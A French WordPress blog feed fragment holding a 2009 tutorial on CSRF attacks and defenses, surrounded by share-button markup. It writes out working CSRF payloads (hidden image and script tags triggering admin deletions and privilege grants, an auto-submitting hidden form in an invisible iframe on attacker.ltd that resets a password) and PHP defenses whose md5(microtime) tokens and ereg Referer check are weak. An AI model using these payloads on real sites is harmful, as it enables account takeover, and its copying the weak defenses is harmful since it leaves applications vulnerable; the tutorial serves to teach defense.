	<a rel="nofollow"  target="_blank" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fintroduction-aux-frameworks-javascript.html&amp;title=Introduction%20aux%20frameworks%20JavaScript&amp;source=Mohammed+CHERIFI+Another+Web+Developper+Blog%21&amp;summary=Un%20framework%20JavaScript%20c%27est%20quoi%3F%0D%0AUn%20framework%20JavaScript%20est%20un%20ensemble%20d%27applications%20et%20de%20fonctionnalit%C3%A9s%20regroup%C3%A9s%2C%20c%27est%20une%20sorte%20de%20boite%20%C3%A0%20outils%20qui%20contient%20toutes%20les%20t%C3%A2ches%20r%C3%A9p%C3%A9titives%20et%20courantes%2C%20gr%C3%A2ce%20aux%20frameworks%2C%20vous%20" title="LinkedIn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://slashdot.org/bookmark.pl?title=Introduction%20aux%20frameworks%20JavaScript&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fintroduction-aux-frameworks-javascript.html" title="Slashdot"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/slashdot.png" title="Slashdot" alt="Slashdot" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://sphinn.com/index.php?c=post&amp;m=submit&amp;link=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fintroduction-aux-frameworks-javascript.html" title="Sphinn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/sphinn.png" title="Sphinn" alt="Sphinn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mixx.com/submit?page_url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fintroduction-aux-frameworks-javascript.html&amp;title=Introduction%20aux%20frameworks%20JavaScript" title="Mixx"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/mixx.png" title="Mixx" alt="Mixx" class="sociable-hovers" /></a>
	<a  target="_blank" href="http://blogplay.com" title="Blogplay"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogplay.png" title="Blogplay" alt="Blogplay" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fintroduction-aux-frameworks-javascript.html" title="Identi.ca"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fintroduction-aux-frameworks-javascript.html&amp;partner=sociable" title="Print"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=pingfm&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fintroduction-aux-frameworks-javascript.html&d=http://ping.fm/ref/?link=TARGET%26title=Introduction%20aux%20frameworks%20JavaScript%26body=Un%20framework%20JavaScript%20c%27est%20quoi%3F%0D%0AUn%20framework%20JavaScript%20est%20un%20ensemble%20d%27applications%20et%20de%20fonctionnalit%C3%A9s%20regroup%C3%A9s%2C%20c%27est%20une%20sorte%20de%20boite%20%C3%A0%20outils%20qui%20contient%20toutes%20les%20t%C3%A2ches%20r%C3%A9p%C3%A9titives%20et%20courantes%2C%20gr%C3%A2ce%20aux%20frameworks%2C%20vous%20" title="Ping.fm"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/ping.png" title="Ping.fm" alt="Ping.fm" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=mailto&t=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fintroduction-aux-frameworks-javascript.html&d=mailto:?subject=Introduction%20aux%20frameworks%20JavaScript%26body=TARGET" title="email"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://posterous.com/share?linkto=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fintroduction-aux-frameworks-javascript.html&amp;title=Introduction%20aux%20frameworks%20JavaScript&amp;selection=Un%20framework%20JavaScript%20c%27est%20quoi%3F%0D%0AUn%20framework%20JavaScript%20est%20un%20ensemble%20d%27applications%20et%20de%20fonctionnalit%C3%A9s%20regroup%C3%A9s%2C%20c%27est%20une%20sorte%20de%20boite%20%C3%A0%20outils%20qui%20contient%20toutes%20les%20t%C3%A2ches%20r%C3%A9p%C3%A9titives%20et%20courantes%2C%20gr%C3%A2ce%20aux%20frameworks%2C%20vous%20" title="Posterous"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/posterous.png" title="Posterous" alt="Posterous" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fintroduction-aux-frameworks-javascript.html&amp;title=Introduction%20aux%20frameworks%20JavaScript" title="Reddit"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/reddit.png" title="Reddit" alt="Reddit" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://buzz.yahoo.com/submit/?submitUrl=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fintroduction-aux-frameworks-javascript.html&amp;submitHeadline=Introduction%20aux%20frameworks%20JavaScript&amp;submitSummary=Un%20framework%20JavaScript%20c%27est%20quoi%3F%0D%0AUn%20framework%20JavaScript%20est%20un%20ensemble%20d%27applications%20et%20de%20fonctionnalit%C3%A9s%20regroup%C3%A9s%2C%20c%27est%20une%20sorte%20de%20boite%20%C3%A0%20outils%20qui%20contient%20toutes%20les%20t%C3%A2ches%20r%C3%A9p%C3%A9titives%20et%20courantes%2C%20gr%C3%A2ce%20aux%20frameworks%2C%20vous%20&amp;submitCategory=science&amp;submitAssetType=text" title="Yahoo! Buzz"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/yahoobuzz.png" title="Yahoo! Buzz" alt="Yahoo! Buzz" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fintroduction-aux-frameworks-javascript.html&amp;partner=sociable" title="PDF"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/pdf.png" title="PDF" alt="PDF" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/feed" title="RSS"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.diigo.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fintroduction-aux-frameworks-javascript.html&amp;title=Introduction%20aux%20frameworks%20JavaScript" title="Diigo"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/diigo.png" title="Diigo" alt="Diigo" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cgi.fark.com/cgi/fark/farkit.pl?h=Introduction%20aux%20frameworks%20JavaScript&amp;u=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fintroduction-aux-frameworks-javascript.html" title="Fark"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/fark.png" title="Fark" alt="Fark" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.blogospherenews.com/submit.php?url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fintroduction-aux-frameworks-javascript.html&amp;title=Introduction%20aux%20frameworks%20JavaScript" title="Blogosphere News"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogospherenews.png" title="Blogosphere News" alt="Blogosphere News" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cimlap.blogter.hu/index.php?action=suggest_link&amp;title=Introduction%20aux%20frameworks%20JavaScript&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fintroduction-aux-frameworks-javascript.html" title="blogtercimlap"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogter.png" title="blogtercimlap" alt="blogtercimlap" class="sociable-hovers" /></a>


<br/><br/>
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fwww.mcherifi.org%2Fdeveloppement-web%2Fintroduction-aux-frameworks-javascript.html" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mcherifi.org/developpement-web/introduction-aux-frameworks-javascript.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Se protéger contre les attaques CSRF Injection</title>
		<link>http://www.mcherifi.org/hacking/les-attaques-csrf-injection.html</link>
		<comments>http://www.mcherifi.org/hacking/les-attaques-csrf-injection.html#comments</comments>
		<pubDate>Fri, 07 Aug 2009 06:36:51 +0000</pubDate>
		<dc:creator>Mohammed CHERIFI</dc:creator>
				<category><![CDATA[Développement WEB]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[cross site request forgories]]></category>
		<category><![CDATA[csrf injection]]></category>
		<category><![CDATA[xsrf]]></category>
		<category><![CDATA[xsrf injection]]></category>

		<guid isPermaLink="false">http://mcherifi.org/?p=44</guid>
		<description><![CDATA[TweetCSRF Injection (Cross Site Request Forgeries) est une classe d&#8217;attaque propre aux applications WEB qui a toujours existé mais qui reste moins connue! son exploitation par un attaquant malveillant peut avoir des conséquences dramatique sur un système d&#8217;information.
Dans ce billet, je vais vous expliquer ce que c&#8217;est une attaque de type CSRF Injection, avec des [...]]]></description>
			<content:encoded><![CDATA[<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.mcherifi.org/hacking/les-attaques-csrf-injection.html" data-text="Se protéger contre les attaques CSRF Injection" data-count="horizontal">Tweet</a><p>CSRF Injection (Cross Site Request Forgeries) est une classe d&#8217;attaque propre aux applications WEB qui a toujours existé mais qui reste moins connue! son exploitation par un attaquant malveillant peut avoir des conséquences dramatique sur un système d&#8217;information.</p>
<p>Dans ce billet, je vais vous expliquer ce que c&#8217;est une attaque de type CSRF Injection, avec des exemples d&#8217;exploitation illustrés ainsi que des mesures de protection qui peuvent être implémentés.</p>
<h2>CSRF c&#8217;est quoi?</h2>
<p>Une attaque CSRF se repose sur l&#8217;exploitation de la confiance d&#8217;une application WEB vis à vis ses clients, l&#8217;objectif de cette dernière est de forcer le navigateur à envoyer une requête &laquo;&nbsp;forgée&nbsp;&raquo; à l&#8217;insu d&#8217;un internaute connecté à son compte  avec les privilèges de ce dernier,  autrement dit : « Je n&#8217;ai pas les droits pour faire une action, je m’arrange alors pour que l’utilisateur ayant les privilèges nécessaires la fasse à ma place (sans qu’il soit au courant bien entendu) ».</p>
<p>Ce type d&#8217;attaque n&#8217;est pas difficile à mettre en œuvre, il peut être mené par n&#8217;importe qui par un simple lien ou script caché dans un email ou une page WEB, on suivant le lien contrefait le navigateur de la victime exécutera le code avec les permissions qu&#8217;a ce dernier sur le site vulnérable (forum, blog, espace membre..).</p>
<h2>Quelques exemples d&#8217;exploitation:</h2>
<p>Pour illustrer la facilité de la mise en œuvre d&#8217;une attaque CSRF avec des exemples concrets: Je vais prendre l&#8217;exemple d&#8217;un forum qui n&#8217;as pas pensé à se protéger contre ce type de faille, son administrateur connecté à son espace admin visite une page contenant l&#8217;un de ces codes :</p>
<h3>Exemple avec des requêtes GET</h3>
<p><em>Suppression de tous les topics d&#8217;un forum</em></p>
<pre class="brush: html">&lt;img src=&quot;http://www.victime.ltd/forum/admin/delete.php?msg=all&quot; alt=&quot;&quot; width=&quot;0&quot; height=&quot;0&quot; /&gt;</pre>
<p>
<em> Suppression d&#8217;un utilisateur :</em></p>
<pre class="brush: html">&lt;script src=&quot;http://www.victime.ltd/forum/admin/deleteuser.php?username=toto&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;</pre>
<p>
<em>Donner les drois d&#8217;administrateur à l&#8217;utilisateur haxor</em></p>
<pre class="brush: html">&lt;span style=&quot;background:url(http://www.victime.ltd/forum/admin/addadmin.php?username=haxor&quot;&gt;Hello master&lt;/span&gt;</pre>
</p>
<h3><strong>Comment ça marche?</strong></h3>
<p>Lorsque l&#8217;administrateur du forum visite une page contenant l&#8217;un de ces codes, son navigateur va essayer de charger l’image se trouvant à l’adresse indiquée par la balise &laquo;&nbsp;&lt;img&gt;&nbsp;&raquo;  sans se douter que ce n’est pas une image. Le serveur du forum va donc exécuter la page et supprimer tous les messages en croyant que c’est l’administrateur qui a demandé la suppression!</p>
<p>On partant sur le même principe le deuxième et troisième exemples illustrent l&#8217;utilisation des balises HTML avec différents attributs où le but est toujours de forcer le navigateur à appeler une page web du site victime via une requête HTTP de type GET, cette page sera interprétée par le serveur ce qui mènera à des actions non désirés par le client possédant des droits privilégiés!</p>
<h3><strong>Exemple avec une requête POST</strong></h3>
<p>On suppose que sur notre forum nous avons un formulaire de modification de mot de passe et qu&#8217;on souhaite forger une requête HTTP de type POST pour forcer le navigateur à poster les données afin de modifier le mot de passe du client (toujours à son insu bien entendu).</p>
<p>voici à quoi le code du formulaire peut ressembler</p>
<p>
<pre class="brush: html">
&lt;form action=&quot;/user/changepasswd.php&quot; method=&quot;post&quot;&gt;
Entrez votre nouveau mot de passe :
&lt;input type=&quot;hidden&quot; name=&quot;new_password&quot; value=&quot;&quot; /&gt;
Confirmer le nouveau mot de passe :
&lt;input type=&quot;hidden&quot; name=&quot;new_password_confirm&quot; value=&quot;&quot; /&gt;
&lt;input type=&quot;submit&quot; value=&quot;Enregistrer les modification&quot; /&gt;
&lt;/form&gt;
</pre>
</p>
<p>L&#8217;objectif est d&#8217;effectuer une requête HTTP de type POST vers la page <em>changepasswd.php</em> avec les champs <em>new_password</em> et <em>new_password_confirm</em> pré-remplis, avec le nouveau passe souhaité par l&#8217;attaquant, pour cela un attaquant peut procéder ainsi :</p>
<ol>
<li>Création d&#8217;une première page qui contient le formulaire pré-remplis avec comme &laquo;&nbsp;action&nbsp;&raquo; l&#8217;url du site victime</li>
<li>Mettre en place un code javascript pour soumettre le formulaire au chargement de la page</li>
<li>Créer une deuxième page pour cacher la première dans un &lt;iframe&gt; afin de cacher ce qui se passe derrière ;)</li>
</ol>
<p>D&#8217;où le code de la première page (on la nome csrfpost.html) est :</p>
<p>
<pre class="brush: html">
&lt;script type=&quot;text/javascript&quot;&gt;
window.onload = function(){
document.getElementById(&quot;csrf_form&quot;).submit();
}
&lt;/script&gt;
&lt;form id=&quot;csrf_form&quot; action=&quot;http://www.victime.ltd/user/changepasswd.php&quot; method=&quot;post&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;new_password&quot; value=&quot;pwn3d&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;new_password_confirm&quot; value=&quot;pwn3d&quot; /&gt;
&lt;/form&gt;
</pre>
</p>
<p>Le code de la deuxième page devrai contenir un &lt;iframe&gt; caché avec d&#8217;éventuel contenu pour que la victime ne se doute pas!</p>
<p>
<pre class="brush: html">
Hello master
&lt;iframe src=&quot;http://attacker.ltd/csrfpost.html&quot; width=&quot;1&quot; height=&quot;1&quot; style=&quot;display:none;&quot;&gt;&lt;/iframe&gt;
</pre>
</p>
<p>De cette manière l&#8217;iframe appelera la page csrfpost.html qui postera la requête post forgée vers la page <em>http://www.victime.ltd/user/changepasswd.php </em>et qui de son tour sera exécuté par le serveur du site vulnerable, et le password sera modifié par un nouveau ( &laquo;&nbsp;pwn3d&nbsp;&raquo; dans notre cas)!</p>
<p>Faites gaffe alors lorsqu&#8217;on vous incitent, à visiter un lien quelconque, et si jamais vous avez suivis un lien et que le contenu de la page ne vous dit rien; examinez le code source!  il y a de forte possibilités qu&#8217;il s&#8217;agit d&#8217;une attaque CSRF.</p>
<h2>Comment se protéger ?</h2>
<p>Il est assez difficile de détecter une attaque CSRF même en utilisant un antivirus ou un firewall, alors là l&#8217;antivirus c&#8217;est vous! L&#8217;objectif est d&#8217;empêcher le navigateur à effectuer des recettes à l&#8217;insu du client ou sans accord préalable de ce dernier.<br />
Pour cela voici des mesures à prendre en compte :</p>
<ul>
<li>Ne pas suivre les liens suspects</li>
<li>Ne pas sauvegarder vos identifiants dans votre navigateur</li>
<li>Toujours se déconnecter à la fin d&#8217;utilisation de vos comptes</li>
<li>Utilisez un deuxième navigateur pour les sites suspects</li>
<li>Désactiver l&#8217;interprétation du code HTML dans vos client WEBMail</li>
</ul>
<h2>Comment sécuriser son code?</h2>
<p>Si vous êtes développeur<strong>, </strong>voici quelques bonnes pratiques à implémenter dans vos codes:</p>
<ul>
<li>Toujours utiliser des pages de confirmation et demander la validation du client avant toute action critique</li>
<li>Utiliser des jetons de sécurité (tokenid) dans tous vos pages sensibles (voir l&#8217;exemple)</li>
<li>Vérifier l&#8217;URL de provenance (HTTP_REFERER) pour prévenir des requêtes POST forgées (voir l&#8217; exemple)</li>
</ul>
<h3><span style="text-decoration: underline;">Utiliser des jetons:</span></h3>
<p>L&#8217;utilisation d&#8217;un jeton de sécurité est primordiale pour une application qui se respecte, personnellement je trouve que c&#8217;est la meilleure solution pour se protéger contre les attaques CSRF!</p>
<p><span style="text-decoration: underline;">Pour les requêtes HTTP de type GET:</span></p>
<p>On deverai avoir 2 pages, une page de confirmation qui servira à la génération d&#8217;une clé aléatoire (jeton) et la stocker dans une variable de session, ainsi tous les liens qui servent d&#8217;effectuer des actions sensibles porteront ce jeton dans une variable GET, le contenu de cette variable sera vérifié dans la deuxième page qui exécute l&#8217;action.</p>
<p>Exemple de page de confirmation avec une requête GET :</p>
<p>
<pre class="brush: php">
&lt;?php
session_start();
// on génere une clé aléatoire de 32 caractères et on la met dans notre variable de session
$_SESSION[&#039;tokenid&#039;] = str_shuffle(md5(microtime(true)));
?&gt;
Etes vous sûre de vouloir supprimer l&#039;utilisateur toto ??
&lt;a href=&quot;supprimer_utilisateur.php?username=toto&amp;amp;amp;tokenid=&lt;?php echo $_SESSION[&#039;tokenid&#039;] ?&gt;&quot;&gt;Supprimer&lt;/a&gt;
&lt;a href=&quot;javascript:history.back();&quot;&gt;Annuler&lt;/a&gt;
</pre>
</p>
<p>Dans la page <em>supprimer_utilisateur.php </em></p>
<p>
<pre class="brush: php">
&lt;?php
session_start();
// on verifie la clé de securité avant de procéder au traitement
if(!empty($_GET[&#039;tokenid&#039;]) &amp;amp;amp;&amp;amp;amp; $_GET[&#039;tokenid&#039;] == $_SESSION[&#039;tokenid&#039;]){
// on détruit la session ne pas la réutiliser par un utilisateur malveillant
unset($_SESSION[&#039;tokenid&#039;]);
// on efféctue le traitement
}
else{
die(&quot;Votre session a expirée&quot;);
}
?&gt;
</pre>
</p>
<p><span style="text-decoration: underline;">Pour les requêtes HTTP de type POST</span></p>
<p>Quant aux requêtes HTTP de type POST c&#8217;est toujours le même principe que pour GET sauf qu&#8217;au lieu de passer le jeton en paramètre dans le lien on le mets dans un champs caché de type &laquo;&nbsp;hidden&nbsp;&raquo;.</p>
<p>On reprends l&#8217;exemple mentionné en haut mais cette fois-ci securisé =)</p>
<p>
<pre class="brush: php">
&lt;?php
session_start();
$_SESSION[&#039;tokenid&#039;] = str_shuffle(md5(microtime(true)));
?&gt;
&lt;form action=&quot;/user/changepasswd.php&quot; method=&quot;post&quot;&gt;
Entrez votre nouveau mot de passe :
&lt;input type=&quot;hidden&quot; name=&quot;new_password&quot; value=&quot;&quot; /&gt;
Confirmer le nouveau mot de passe :
&lt;input type=&quot;hidden&quot; name=&quot;new_password_confirm&quot; value=&quot;&quot; /&gt;
&lt;input type=&quot;submit&quot; value=&quot;Enregistrer les modification&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;tokenid&quot; value=&quot;&lt;?php echo $_SESSION[&#039;tokenid&#039;] ?&gt;&quot; /&gt;
&lt;/form&gt;
</pre>
</p>
<p>Et dans le fichier <em>changepasswd.php</em></p>
<p>
<pre class="brush: php">
&lt;?php
session_start();
// on verifie la clé de securité avant de procéder au traitement
if(!empty($_POST[&#039;tokenid&#039;])  &amp;amp;amp;&amp;amp;amp; $_POST[&#039;tokenid&#039;] == $_SESSION[&#039;tokenid&#039;]){
// on détruit la session pour ne pas la réutiliser par un utilisateur malveillant
unset($_SESSION[&#039;tokenid&#039;]);
// on efféctue le traitement
}
else{
die(&quot;Votre session a expirée&quot;);
}
?&gt;
</pre>
</p>
<p>Ne faite jamais confiance à aucune données récupéré coté client tant que le filtrage n&#8217;as pas été approuvé =)</p>
<h3><span style="text-decoration: underline;">Vérification de l&#8217;url de provenance : </span></h3>
<p>La vérification de l&#8217;url de provenance vous aidera à mieux vous protéger contre les CSRF avec des requêtes POST comme dans l&#8217;exemple expliqué en haut, ce n&#8217;est pas une protection sûre et peut être contourné si l&#8217;attaque provient du même site, mais ça permet comme même d&#8217;éviter plusieurs ennuits ;)</p>
<p>Bref, il suffit de placer le code suivant dans les fichiers qui effectuent des actions sensibles (changement de mot de passe, suppression de données, etc..)</p>
<p>
<pre class="brush: php">
if (!empty($_SERVER[&#039;HTTP_REFERER&#039;])){
if (!ereg($_SERVER[&#039;HTTP_HOST&#039;], $_SERVER[&#039;HTTP_REFERER&#039;])){
die(&quot;Vous ne pouvez pas venir ici!&quot;);
}
}
else{
die(&quot;Referer introuvable&quot;);
}
</pre>
</p>
<h2>Conclusion</h2>
<p>La faille CSRF Injection reste parmi les classes d&#8217;attaques les plus dangereuses sur le WEB vu son exploitation instantanée et les importants dégâts qu&#8217;elle peut engendrer! Je détaillerai dans un prochain billet l&#8217;exploitation avancée de cette dernière ;)</p>
<p>Je rappelle que des gros sites ont étaient victimes de ce type t&#8217;attaque, je cites: Gmail, MySpace, Windows Live Mail, Skyrock, Dynadot et bien d&#8217;autres .. sinon j&#8217;espère que ce tuto vous a été utile et vous a appris de nouvelles notions ;)</p>
<p>Allez, bonne journée à tous!</p>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 3213px; width: 1px; height: 1px;">
<p>session_start();</p>
<p>// on verifie la clé de securité avant de procéder au traitement</p>
<p>if(!empty($_GET['uniqid'])  &#038; $_GET['uniqid'] == $_SESSION['tokenid']){</p>
<p>// on efféctue le traitement</p>
<p>}</p>
<p>else{</p>
<p>die(&laquo;&nbsp;Votre session a expirée&nbsp;&raquo;);</p>
<p>}</p>
<p>?&gt;[</p>
</div>



Partager cet article:


	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=twitter&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&d=http://twitter.com/home?status=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection%20-%20TARGET" title="Twitter"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=facebook-post&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&d=http://www.facebook.com/share.php?u=TARGET%26t=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection" title="Facebook"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&amp;title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection&amp;annotation=CSRF%20Injection%20%28Cross%20Site%20Request%20Forgeries%29%20est%20une%20classe%20d%27attaque%20propre%20aux%20applications%20WEB%20qui%20a%20toujours%20exist%C3%A9%20mais%20qui%20reste%20moins%20connue%21%20son%20exploitation%20par%20un%20attaquant%20malveillant%20peut%20avoir%20des%20cons%C3%A9quences%20dramatique%20sur%20un%20syst%C3%A8" title="Google Bookmarks"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://delicious.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&amp;title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection&amp;notes=CSRF%20Injection%20%28Cross%20Site%20Request%20Forgeries%29%20est%20une%20classe%20d%27attaque%20propre%20aux%20applications%20WEB%20qui%20a%20toujours%20exist%C3%A9%20mais%20qui%20reste%20moins%20connue%21%20son%20exploitation%20par%20un%20attaquant%20malveillant%20peut%20avoir%20des%20cons%C3%A9quences%20dramatique%20sur%20un%20syst%C3%A8" title="del.icio.us"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.netvibes.com/share?title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html" title="Netvibes"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/netvibes.png" title="Netvibes" alt="Netvibes" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.viadeo.com/shareit/share/?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection&urllanguage=fr" title="viadeo FR"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/viadeo.png" title="viadeo FR" alt="viadeo FR" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&amp;title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection&amp;bodytext=CSRF%20Injection%20%28Cross%20Site%20Request%20Forgeries%29%20est%20une%20classe%20d%27attaque%20propre%20aux%20applications%20WEB%20qui%20a%20toujours%20exist%C3%A9%20mais%20qui%20reste%20moins%20connue%21%20son%20exploitation%20par%20un%20attaquant%20malveillant%20peut%20avoir%20des%20cons%C3%A9quences%20dramatique%20sur%20un%20syst%C3%A8" title="Digg"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&amp;title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection&amp;source=Mohammed+CHERIFI+Another+Web+Developper+Blog%21&amp;summary=CSRF%20Injection%20%28Cross%20Site%20Request%20Forgeries%29%20est%20une%20classe%20d%27attaque%20propre%20aux%20applications%20WEB%20qui%20a%20toujours%20exist%C3%A9%20mais%20qui%20reste%20moins%20connue%21%20son%20exploitation%20par%20un%20attaquant%20malveillant%20peut%20avoir%20des%20cons%C3%A9quences%20dramatique%20sur%20un%20syst%C3%A8" title="LinkedIn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://slashdot.org/bookmark.pl?title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html" title="Slashdot"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/slashdot.png" title="Slashdot" alt="Slashdot" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://sphinn.com/index.php?c=post&amp;m=submit&amp;link=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html" title="Sphinn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/sphinn.png" title="Sphinn" alt="Sphinn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mixx.com/submit?page_url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html&amp;title=Se%20prot%C3%A9ger%20contre%20les%20attaques%20CSRF%20Injection" title="Mixx"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/mixx.png" title="Mixx" alt="Mixx" class="sociable-hovers" /></a>
	<a  target="_blank" href="http://blogplay.com" title="Blogplay"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogplay.png" title="Blogplay" alt="Blogplay" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fles-attaques-csrf-injection.html" title="Identi.ca"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a>
